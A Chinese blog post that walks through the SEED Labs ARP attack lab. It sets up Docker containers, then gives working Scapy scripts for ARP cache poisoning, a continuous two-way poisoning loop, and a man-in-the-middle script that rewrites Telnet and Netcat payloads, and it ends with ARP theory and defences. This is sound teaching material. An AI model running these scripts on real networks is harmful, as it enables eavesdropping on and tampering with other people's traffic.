Featured image of post ARP攻击原理学习

ARP攻击原理学习

很有收获的一门课

准备

基本环境

我使用的是Ubuntu 24.04.4 LTS 64位 的虚拟机

  • CPU:4 核
  • 内存:8GB
  • 硬盘:50GB
  • 网络:NAT模式

刷新系统包

1
2
sudo apt update
sudo apt upgrade -y

安装基础工具与docker依赖

1
sudo apt install git curl net-tools apt-transport-https ca-certificates software-properties-common

添加 Docker 的官方 GPG 密钥以确保下载的软件包安全

1
2
curl -fsSL https://download.docker.com/linux/ubuntu/gpg -o docker.gpg
sudo gpg --dearmor -o /usr/share/keyrings/docker-archive-keyring.gpg docker.gpg

将 Docker 的稳定版仓库添加到 APT 源中,再次更新软件源以包含 Docker 仓库中的包

1
2
echo "deb [arch=$(dpkg --print-architecture) signed-by=/usr/share/keyrings/docker-archive-keyring.gpg] https://download.docker.com/linux/ubuntu $(lsb_release -cs) stable" | sudo tee /etc/apt/sources.list.d/docker.list > /dev/null
sudo apt update

安装 Docker CE(社区版 )、Docker CE CLI 和 Containerd

1
sudo apt install -y docker-ce docker-ce-cli containerd.io

启动 Docker 服务并设置为开机自启

1
2
sudo systemctl start docker
sudo systemctl enable docker

安装docker compose

1
2
3
sudo apt install docker-compose-plugin
# 验证
docker compose version

遇到问题:验证时报错,没有显示docker版本

确认下载的文件

1
head -n 5 /usr/local/bin/docker-compose

显示Not Found,说明没有安装成功,卸载并重装

1
2
3
sudo rm -f /usr/local/bin/docker-compose
sudo rm -f /usr/bin/docker-compose
sudo rm -f /bin/docker-compose

实验环境

使用 git 下载实验文件

1
2
git clone https://github.com/seed-labs/seed-labs.git
cd seed-labs/category-network/ARP_Attack/Labsetup

启动实验环境:

1
2
sudo docker compose up -d
sudo docker ps

遇到问题:docker compose一切正常,但这里却报错/usr/local/bin/docker-compose:行 1:Not:未找到命令

判断是因为命令指向旧路径,清理 hash 缓存

1
hash -r

docker-compose 指向新版

1
sudo ln -s /usr/bin/docker /usr/local/bin/docker-compose

之后又报错:

1
2
the attribute `version` is obsolete, it will be ignored, please remove it to avoid potential confusion 
unable to get image 'handsonsecurity/seed-ubuntu:large': permission denied while trying to connect to the docker API at unix:///var/run/docker.sock

判断是执行权限不足,命令前加sudo解决

出现这个报错the attribute version is obsolete, it will be ignored, please remove it to avoid potential confusion

是因为docker-compose.yml 文件中的 version: 字段在 Docker Compose v1.27.0+ 和 v2 中已经被弃用,不再需要指定,因此手动编辑删除即可

记录三个主机:

  • Host A:10.9.0.5
  • Host B:10.9.0.6
  • Attacker:10.9.0.105

任务一:ARP 缓存投毒

ARP 协议本身不具备认证机制,主机在接收到 ARP 报文时,会根据报文中的 IP-MAC 映射信息更新本地缓存,而不会验证该信息的真实性。这使得攻击者可以通过构造伪造报文实现缓存投毒

Task 1.A:ARP Request 进行缓存投毒

实验目标:使 Host A 错误地将伪造 IP (10.9.0.99) 映射到攻击者指定的 MAC 地址

方法:构造 ARP Request,广播伪造数据包

进入容器 M

1
sudo docker exec -it M-10.9.0.105 bash

切换到共享目录并创建攻击脚本

1
2
cd /volumes
nano arp_request.py

代码如下:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
#!/usr/bin/env python3
from scapy.all import *
eth=Ether(dst="ff:ff:ff:ff:ff:ff")
arp=ARP(
        op=1,
        psrc="10.9.0.99",
        pdst="10.9.0.5",
)
packet=eth/arp
sendp(packet,iface="eth0")

运行脚本

1
2
chmod +x arp_request.py
./arp_request.py

查看攻击者MAC

1
ip addr

打开另一个终端,进入容器 A 查看 ARP 缓存

1
2
sudo docker exec -it A-10.9.0.5 bash
arp -n

Host A 出现伪造 IP 10.9.0.99,对应攻击者 MAC 地址

结论:ARP Request 可直接生成伪造缓存,当 Host A 向该 IP 发起通信时,会把数据发到攻击者的 MAC

Task 1.B:ARP Reply 投毒

实验目标:验证未经请求的 ARP Reply 报文能否篡改受害者的 ARP 缓存

方法:构造 ARP Reply,广播伪造数据包,分别针对 Host A 缓存中存在和不存在的 IP 进行测试

缓存中不存在IP

在容器M构造 ARP Reply 包(op=2 ),宣告一个 Host A 缓存中不存在的 IP

1
nano arp_reply.py

修改脚本:op=2 psrc="10.9.0.98"

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
#!/usr/bin/env python3
from scapy.all import *
eth=Ether(dst="ff:ff:ff:ff:ff:ff")
arp=ARP(
        op=2,
        psrc="10.9.0.98",
        pdst="10.9.0.5",
)
packet=eth/arp
sendp(packet,iface="eth0")

运行脚本

1
2
chmod +x arp_reply.py
./arp_reply.py

在容器 A 查看 ARP 缓存,缓存没有新增

缓存中存在IP

在容器M构造 ARP Reply 包(op=2 ),宣告一个 Host A 缓存中存在的 IP,但修改其 MAC 地址

1
nano arp_reply.py

修改脚本:psrc="10.9.0.99"

加入一行:hwsrc="11:11:11:11:11:11"

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
#!/usr/bin/env python3
from scapy.all import *
eth=Ether(dst="ff:ff:ff:ff:ff:ff")
arp=ARP(
        op=2,
        psrc="10.9.0.99",
        pdst="10.9.0.5",
        hwsrc = "11:11:11:11:11:11",
)
packet=eth/arp
sendp(packet,iface="eth0")

运行脚本

1
2
chmod +x arp_reply.py
./arp_reply.py

在容器 A 查看 ARP 缓存, MAC 被篡改

结论:出于安全防御机制,Linux 系统通常不会为未请求过的 IP 创建新的 ARP 缓存条目,但会更新已有条目

Task 1.C:ARP 无端报文

实验目标:测试源 IP 和目的 IP 相同的特殊广播 ARP 报文的投毒效果

方法:在攻击者 M 中发送无端 ARP 广播包,分别针对 Host A 缓存中存在和不存在的 IP 进行测试

缓存中不存在IP

在容器M构造 ARP Gratuitous 包(psrc=pdst ),宣告一个 Host A 缓存中不存在的 IP

1
nano arp_gratuitous.py

修改脚本:psrc="10.9.0.98",pdst="10.9.0.98"

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
#!/usr/bin/env python3
from scapy.all import *
eth=Ether(dst="ff:ff:ff:ff:ff:ff")
arp=ARP(
        op=2,
        psrc="10.9.0.98",
        pdst="10.9.0.98",
        hwsrc = "11:11:11:11:11:11",
)
packet=eth/arp
sendp(packet,iface="eth0")

运行脚本

1
2
chmod +x arp_gratuitous.py
./arp_gratuitous.py

在容器 A 查看 ARP 缓存,缓存没有新增

缓存中存在IP

在容器M构造 ARP Gratuitous 包(psrc=pdst ),宣告一个 Host A 缓存中存在的 IP,但修改其 MAC 地址

1
nano arp_gratuitous.py

修改脚本:psrc="10.9.0.99",pdst="10.9.0.99"hwsrc="aa:bb:cc:dd:ee:ff"

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
#!/usr/bin/env python3
from scapy.all import *
eth=Ether(dst="ff:ff:ff:ff:ff:ff")
arp=ARP(
        op=2,
        psrc="10.9.0.99",
        pdst="10.9.0.99",
        hwsrc = "aa:bb:cc:dd:ee:ff",
)
packet=eth/arp
sendp(packet,iface="eth0")

运行脚本

1
2
chmod +x arp_gratuitous.py
./arp_gratuitous.py

在容器 A 查看 ARP 缓存, MAC 被篡改

结论:与 Task 1.B 完全一致。无端 ARP 只能更新受害者缓存中已有的记录,无法凭空捏造新记录。

任务二:Telnet 中间人攻击

实验目标:拦截 Host A 与 Host B 之间的 Telnet 流量,并将用户输入的所有字母篡改为 A

双向投毒

攻击者持续发送 ARP 伪造包,使:

  • A 认为 B 的 MAC 是攻击者
  • B 认为 A 的 MAC 是攻击者

在容器M构造投毒脚本

1
nano arp_poisoning_mitm.py 

代码如下:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
#!/usr/bin/env python3
from scapy.all import *
import time

eth=Ether(dst="ff:ff:ff:ff:ff:ff")
arpab=ARP(
        op=1,
        psrc="10.9.0.6",
        pdst="10.9.0.5",
)
arpba=ARP(
        op=1,
        psrc="10.9.0.5",
        pdst="10.9.0.6",
)
packet1=eth/arpab
packet2=eth/arpba
while True:
	sendp(packet1,iface="eth0")
	sendp(packet2,iface="eth0")
	time.sleep(5)

运行脚本,可以看到M在持续广播数据包

1
2
chmod +x arp_poisoning_mitm.py 
./arp_poisoning_mitm.py 

容器 A 查看 ARP 缓存,可以发现显示的是容器B的IP地址和攻击者的MAC

容器 B 查看 ARP 缓存,可以发现显示的是容器A的IP地址和攻击者的MAC

IP 转发

投毒完成后,攻击者实际上变成a与b的路由器,因此m开不开启IP转发会对A与B的通信产生影响

原来的终端不动,重新打开一个终端,进入容器M,关闭IP转发

1
sysctl net.ipv4.ip_forward=0

主机A ping主机B,发现大量丢包

数据包被骗到了 M 这里,但 M 关闭了路由转发功能,所以包被 M 直接丢弃了

攻击者开启IP转发

1
sysctl net.ipv4.ip_forward=1

主机A ping主机B,发现没有丢包

ping的过程中攻击者打开icmp监听

1
tcpdump -i eth0 icmp

可以看到大量 ICMP 重定向消息

M 开启了转发,所以包能到达 B。但 M 发现 A 其实可以直接联系 B(在同一个子网 ),于是 M 遵守 ICMP 协议提醒 A 走错了路。

数据篡改

在攻击者 M 中关闭IP转发,随后通过 Python 篡改脚本来实现篡改信息内容的目的

在容器M构造脚本

1
nano mitm_tcp.py
遇到问题:输入以后什么也不显示
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
#!/usr/bin/env python3
from scapy.all import *

A_IP = "10.9.0.5"
B_IP = "10.9.0.6"

def process(pkt):
    if pkt.haslayer(IP) and pkt.haslayer(TCP):
        
        # A -> B
        if pkt.haslayer(Raw) and pkt[IP].src == A_IP and pkt[TCP].dport == 23:
            data = pkt[Raw].load
            newdata = b'A' * len(data)
            pkt[Raw].load = newdata
            del pkt[IP].chksum
            del pkt[TCP].chksum
            send(pkt)

        # B -> A
        elif pkt[IP].src == B_IP:
            del pkt[IP].chksum
            del pkt[TCP].chksum
            send(pkt)

sniff(filter="tcp", prn=process, store=0)

脚本不显示字符是因为缺少了对攻击者自身发出包的过滤逻辑(src == MY_MAC),导致脚本陷入“抓取->伪造发送->再次抓取”的死循环。这引发了极其严重的包冲突和重传风暴,使正常的 Telnet 回显流量无法到达终端。解决方法是获取攻击者网卡 MAC 地址并在处理前加一行 if 判断跳过自身发出的包

虽然显示成功了,但输入几个字符就会卡死
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
#!/usr/bin/env python3
from scapy.all import *
import re

IP_A = "10.9.0.5"
IP_B = "10.9.0.6"

def spoof_pkt(pkt):
    # A -> B
    if pkt.haslayer(TCP) and pkt[IP].src == IP_A and pkt[IP].dst == IP_B:
        if pkt[TCP].payload:
            old_data = pkt[TCP].payload.load
            new_data = re.sub(rb'[a-zA-Z]', b'A', old_data)
            
            # 构造新包并清除校验和让 Scapy 重新计算
            newpkt = IP(bytes(pkt[IP]))
            del(newpkt.chksum)
            del(newpkt[TCP].chksum)
            newpkt[TCP].payload = Raw(load=new_data)
            send(newpkt, verbose=False)
    
    # B -> A
    elif pkt.haslayer(TCP) and pkt[IP].src == IP_B and pkt[IP].dst == IP_A:
        newpkt = IP(bytes(pkt[IP]))
        del(newpkt.chksum)
        del(newpkt[TCP].chksum)
        send(newpkt, verbose=False)

f = f'tcp and (host {IP_A} and host {IP_B})'
sniff(iface='eth0', filter=f, prn=spoof_pkt)

通过设置 store=0 杜绝内存堆积,配合 MAC 过滤防止嗅探回环死循环,并采用 1:1 字节等长替换确保 TCP 序列号对齐,彻底解决了 Scapy 脚本导致的网络卡死与连接中断

最终代码如下:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
#!/usr/bin/env python3
from scapy.all import *
import re

IP_A = "10.9.0.5"
IP_B = "10.9.0.6"
# 获取攻击者自身的 MAC,用于过滤
MY_MAC = get_if_hwaddr("eth0")

def spoof_pkt(pkt):
    # 排除掉攻击者自己发出的包,防止死循环
    if pkt.src == MY_MAC:
        return

    # A -> B 
    if pkt.haslayer(TCP) and pkt[IP].src == IP_A and pkt[IP].dst == IP_B:
        newpkt = IP(bytes(pkt[IP]))
        del(newpkt.chksum)
        del(newpkt[TCP].chksum)
        
        if pkt[TCP].payload:
            data = pkt[TCP].payload.load
            newdata = re.sub(rb'[a-zA-Z0-9]', b'A', data)
            newpkt[TCP].payload = Raw(load=newdata)
        send(newpkt, verbose=False)

    # B -> A 
    elif pkt.haslayer(TCP) and pkt[IP].src == IP_B and pkt[IP].dst == IP_A:
        newpkt = IP(bytes(pkt[IP]))
        del(newpkt.chksum)
        del(newpkt[TCP].chksum)
        send(newpkt, verbose=False)

f = f'tcp and (host {IP_A} and host {IP_B})'

# store=0 杜绝内存卡死
sniff(iface='eth0', filter=f, prn=spoof_pkt, store=0)

关闭内核转发并运行脚本

如果不关闭,系统会抢在你的脚本之前把包发走,篡改就失效了

1
2
3
sysctl net.ipv4.ip_forward=0
chmod +x mitm_tcp.py
./mitm_tcp.py

同时运行双向投毒脚本和mitm脚本,然后主机A对B发起Telnet连接

1
telnet 10.9.0.6

在登陆这里输入任何字符都会变成 A,说明数据在传输过程中被修改

任务三:Netcat 中间人攻击

目标:精准替换字符串

步骤:

建立连接:

1
2
3
4
5
# B
nc -lp 9090

# A
nc 10.9.0.6 9090

攻击者:

1
2
3
4
sysctl net.ipv4.ip_forward=1
# 建立连接后
sysctl net.ipv4.ip_forward=0
python3 mitm_tcp.py

发送:

1
seedlabs

结果:

1
AAAAAAAA

二、ARP 攻击原理

ARP 协议原理

ARP 用于建立: IP地址 ↔ MAC地址 映射关系

通信流程:

  1. 广播 ARP 请求
  2. 目标主机响应
  3. 返回 MAC 地址
  4. 写入缓存

ARP 缓存机制

每个主机维护缓存表

特点:

  • 有超时(约 60–120 秒)
  • 可被更新覆盖

安全问题

ARP 是无状态协议

任何主机收到 ARP 响应: → 直接更新缓存

导致: ARP 可被欺骗


ARP 缓存中毒攻击

原理:伪造 ARP 响应

攻击过程:

  1. 发送假 ARP
  2. 受害者更新缓存
  3. 流量流向攻击者
  4. 实现中间人攻击

攻击效果

  • 窃听通信
  • 篡改数据
  • 会话劫持
  • 拒绝服务

防御方法

  • 静态 ARP 绑定
  • 动态 ARP 检测(DAI)
  • 端口安全
  • 使用加密协议(HTTPS / SSH)

实验核心结论总结

ARP Request: 可以直接创建伪造记录

ARP Reply: 只能修改已有记录

MITM 成功条件:

  • 双向投毒
  • 控制流量路径

TCP 篡改关键点: 数据长度必须一致,否则连接会断开

参考

Ubuntu 24.04 安装 docker 并配置镜像源 - 知乎

docker-compose提示version告警原因 | GaGa’s Blog

彻底搞懂系列之:ARP协议 - 知乎

Like 0
本站已不稳定运行 小时 分钟
共发表文章 19 篇 ,总计 61.29 k 字
本站总访问量:
使用 Hugo 构建
主题 StackJimmy 设计